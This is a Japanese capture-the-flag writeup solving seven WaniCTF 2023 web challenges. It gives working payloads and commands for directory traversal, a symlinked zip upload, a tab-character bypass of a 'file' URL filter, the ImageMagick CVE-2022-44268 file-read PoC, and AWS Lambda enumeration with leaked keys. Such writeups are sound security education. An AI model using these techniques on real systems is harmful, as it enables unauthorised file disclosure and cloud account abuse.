WaniCTF 2023 - Web writeup
WaniCTF 2023 に参加していました。
面白い問題ばかりでとても楽しかったです。
いや~~~悔しい pic.twitter.com/bpcNQNOxr0
— よーでん (@y0d3n) 2023年5月6日
ということで、web 7問のwriteupです。
IndexdDB (Beginner: 608 Solves)
このページのどこかにフラグが隠されているようです。ブラウザの開発者ツールを使って探してみましょう。
「まぁBeginnerだね」っていいながらソース開いたらflagなくて焦った。
URLが 1ndex.html
なのが気になる。
少しいじってみるとindex.html
にアクセスすると1ndex.html
にリダイレクトされることがわかる。
「リダイレクト前のレスポンスにあるのかな」と予想してcurlしてみたらビンゴ。*1
┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ curl https://indexeddb-web.wanictf.org/ ... objectStore.put({ name: "FLAG{y0u_c4n_u3e_db_1n_br0wser}" });
FLAG{y0u_c4n_u3e_db_1n_br0wser}
Extract Service 1 (Easy: 245 Solves)
ドキュメントファイルの要約サービスをリリースしました!配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。
サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね...? どんなHTTPリクエストが送信されるのか見てみよう!
アクセスするとファイルとファイルタイプを指定してアップロードできる画面が。
配布ファイルの中にsampleがあるのはかなり嬉しい。
試しに sample.docx
をアップロードしてみる。ファイルタイプは .docx
のまま。
POST / HTTP/1.1 ... -----------------------------39327306635975792793622618633 Content-Disposition: form-data; name="file"; filename="sample.docx" Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document PK... -----------------------------39327306635975792793622618633 Content-Disposition: form-data; name="target" word/document.xml -----------------------------39327306635975792793622618633--
リクエストをのぞいてみると、file
でdocxのファイルと target
で word/document.xml
が送信されてることがわかる。
ソースを読んでいくと、target
の word/document.xml
は extractTarget
という変数に入れられて ExtractContent
という関数に渡されるらしい。
func ExtractContent(baseDir, extractTarget string) (string, error) { raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget)) if err != nil { return "", err } removeXmlTag := regexp.MustCompile("<.*?>") resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "") removeNewLine := regexp.MustCompile(`\r?\n`) resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "") return resultNewLineRemoved, nil }
とくにバリデーションがないので、ディレクトリトラバーサルができそうだ。
POST / HTTP/1.1 ... -----------------------------39327306635975792793622618633 Content-Disposition: form-data; name="file"; filename="sample.docx" Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document PK... -----------------------------39327306635975792793622618633 Content-Disposition: form-data; name="target" ../../flag -----------------------------39327306635975792793622618633--
FLAG{ex7r4c7_1s_br0k3n_by_b4d_p4r4m3t3rs}
64bps (Easy: 182 Solves)
dd if=/dev/random of=2gb.txt bs=1M count=2048
cat flag.txt >> 2gb.txt
rm flag.txt
どうやらめっちゃデカいファイルの最後にflagがあるらしい。
さらに、配布ファイルを見てみると 8 bytes/s とかいう制限がかかっている。
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
keepalive_timeout 65;
gzip off;
limit_rate 8; # 8 bytes/s = 64 bps
これのダウンロードを待つのは現実的じゃないので、どうにかしてflagの部分だけに絞ってダウンロードしたい。
Rangeヘッダーが使えそうだ。
まず、全体で何byteなのかを知りたい。計算しても良いけどcurlでヘッダーだけとってくればわかる。
┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ curl -I https://64bps-web.wanictf.org/2gb.txt HTTP/1.1 200 OK Server: nginx Date: Sat, 06 May 2023 06:41:27 GMT Content-Type: text/plain Content-Length: 2147483697 Connection: keep-alive Last-Modified: Mon, 01 May 2023 04:40:51 GMT ETag: "644f42d3-80000031" Accept-Ranges: bytes
2147483697byteのうち何byteがflagかがわからない。
最初「30byteくらいあればいいだろ」って言ってたら足りなくて、「じゃあ50byte!」と何回かやっていたらflagが手に入った。(計算した方が早かったかも)
┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ curl https://64bps-web.wanictf.org/2gb.txt -i -H "Range: bytes=2147483645-2147483697" HTTP/1.1 206 Partial Content Server: nginx Date: Thu, 04 May 2023 06:30:43 GMT Content-Type: text/plain Content-Length: 52 Connection: keep-alive Last-Modified: Mon, 01 May 2023 04:40:51 GMT ETag: "644f42d3-80000031" Content-Range: bytes 2147483645-2147483696/2147483697 ���FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}
Extract Service 2 (Normal: 103 Sovles)
Extract Service 1は脆弱性があったみたいなので修正しました! 配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。
サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね...?
Extract Service 1でやったディレクトリトラバーサルが封じられている。
┌──(yoden㉿y0d3n-DESKTOP)-[/mnt/c/Users/yoden/Documents/work/ctf/WaniCTF2023] └─$ diff web-extract1/main.go web-extract2/main.go 38,39c38,41 < extractTarget := c.PostForm("target") < if extractTarget == "" { --- > // patched > extractTarget := "" > targetParam := c.PostForm("target") > if targetParam == "" { 41a44,55 > }) > return > } > if targetParam == "docx" { > extractTarget = "word/document.xml" > } else if targetParam == "xlsx" { > extractTarget = "xl/sharedStrings.xml" > } else if targetParam == "pptx" { > extractTarget = "ppt/slides/slide1.xml" > } else { > c.HTML(http.StatusOK, "index.html", gin.H{ >
リクエストで送信される target
の値をみると、種類のみを送るようになっている。
-----------------------------2837738034924305695954927396 Content-Disposition: form-data; name="target" docx -----------------------------2837738034924305695954927396--
しばらく考えて「 word/document.xml -> /flag
のようなシンボリックリンクをzipにできたら良いな」と思いついた。
「zip コマンド options link」とかで調べてリンクをたどらずに圧縮できる方法を確認。zip -y
でできるみたいなのでやってみる。
┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ mkdir word ┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ sudo vim /flag ┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ cd word/ ┌──(yoden㉿y0d3n-DESKTOP)-[~/word] └─$ sudo ln -s /flag document.xml ┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ zip -y test.zip word/document.xml adding: word/document.xml (stored 0%)
test.zipをアップロードしてみると、flagが手に入る。
FLAG{4x7ract_i3_br0k3n_by_3ymb01ic_1ink_fi1e}
screenshot (Hard: 91 Solves)
好きなウェブサイトのスクリーンショットを撮影してくれるアプリです。
Hardだが、取り組み始めた時点で結構解かれていた。
URLを入力すると、スクショをとってきてくれるらしい。
flagは /flag.txt
にあることがわかる。file:///flag.txt
とかしたいが、それで解けるはずもなく。
if (!req.query.url.includes("http") || req.query.url.includes("file")) { res.status(400).send("Bad Request"); return; }
ここが問題の本質部分。
http
が含まれる かつ file
が含まれない 文字列を渡さなければいけない。
http
の方は hogehoge#http
のようにすれば良いので無視できる。
「file
の方で良い方法あるかな~」とガチャガチャしたあと、
「URLのパース周りあの本に書いてあったはず」と「めんどうくさいWebセキュリティ」を手に取ってみたら p.31 にちょうど良い情報が。
ほとんどの実装では、スキーム名の途中にある改行文字とタブ文字も無視されます。
fi%09le
のようにすれば、タブが無視されていい感じに行けそう。
url=fi%09le:///flag.txt%23http
とすれば /flag.txt
のスクショが手に入る。
FLAG{beware_of_parameter_type_confusion!}
certified1 (Normal: 66 Solves)
最近流行りの言語を使った安全なウェブアプリが完成しました!
この問題にはフラグが2つ存在します。ファイル/flag_Aにあるフラグをcertified1に、環境変数FLAG_Bにあるフラグをcertified2に提出してください。
画像をアップロードしてみると、承認される。
これは承認欲求が満たされる。
/flag_A
を読み出したい。
WebアプリケーションはRustで書かれていて、承認の画像を重ね合わせるのは ImageMagick が使われている。
ImageMagickがいかにも怪しいのでいろいろ調べていたらkurenaifさんの動画にたどり着いた。
【ImageMagick】ImageMagickであった情報漏洩の脆弱性を詳しく解説!【cve-2022-44268】【悪用厳禁】 - YouTube
CVE-2022-44268 が使えそうだ。
┌──(yoden㉿y0d3n-DESKTOP)-[/mnt/c/Users/yoden/Downloads] └─$ pngcrush -text a "profile" "/flag_A" test.png Recompressing IDAT chunks in test.png to pngout.png Total length of data found in critical chunks = 6071 (snip)
これでできた pngout.png をアップロード。承認された画像をダウンロードして、PoCの手順に沿ってよしなにしていく
┌──(yoden㉿y0d3n-DESKTOP)-[/mnt/c/Users/yoden/Downloads] └─$ identify -verbose e9f161a7-1b0f-41b8-b9f8-800d47093ec9.png Image: e9f161a7-1b0f-41b8-b9f8-800d47093ec9.png Format: PNG (Portable Network Graphics) Geometry: 480x480 ... 42 464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f 793075217d0a ... ┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ py Python 3.11.2 (main, Feb 27 2023, 01:25:14) [GCC 12.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> print(bytes.fromhex("464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f793075217d0a")) b'FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}\n'
FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}
Lambda (Normal: 54 Solves)
以下のサイトはユーザ名とパスワードが正しいときフラグを返します。今あなたはこのサイトの管理者のAWSアカウントのログイン情報を極秘に入手しました。このログインを突破できますか。
URLにアクセスするとログインページ。
配布ファイルとしてAWSの Access key ID,Secret access key,Region
が提供される。
これでアクセスできる範囲からどうにかして認証情報を手に入れれば良い。
AWS CLI に不慣れすぎてかなり時間がかかってしまった。
公式のドキュメントを見ながら頑張る。
文字が多いので、必要なとこだけ切り取ってます。
┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ aws --profile wani-lambda sts get-caller-identity "Arn": "arn:aws:iam::839865256996:user/SecretUser" ┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ aws --profile wani-lambda iam list-attached-user-policies --user-name SecretUser { "PolicyName": "WaniLambdaGetFunc", "PolicyArn": "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc" }, ┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ aws --profile wani-lambda iam get-policy --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc "Policy": { "PolicyName": "WaniLambdaGetFunc", "Arn": "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc", "DefaultVersionId": "v1", ┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ aws --profile wani-lambda iam get-policy-version --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc --version-id v1 "Action": "lambda:GetFunction", "Resource": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function" ┌──(yoden㉿y0d3n-DESKTOP)-[~] └─$ aws --profile wani-lambda lambda get-function --function-name wani_function "FunctionName": "wani_function", "Code": { "RepositoryType": "S3", "Location": "https://awslambda-ap-ne-1-tasks.s3.ap-northeast-1.amazonaws.com/snapshots/839865256996/wani_function-df5..."
S3のURLが見つかるので、アクセスしてみると zip がダウンロードできる。
回答すると dll がいくつか。 Wani_Lambda.dll
が怪しげ。
ILSpy でデコンパイルしてみる。
LambdaWaniwani:aflkajflalkalbnjlsrkaerl
であることが判明 (flagも書いてあるね)
FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}
certified2は時間内に解けなかったのですが、writeupを読んで「1を解いてる時点でinputの挙動おかしいのに気づいてたのにどうして・・・」と唸っていました。
*1:問題文読んでないのがバレる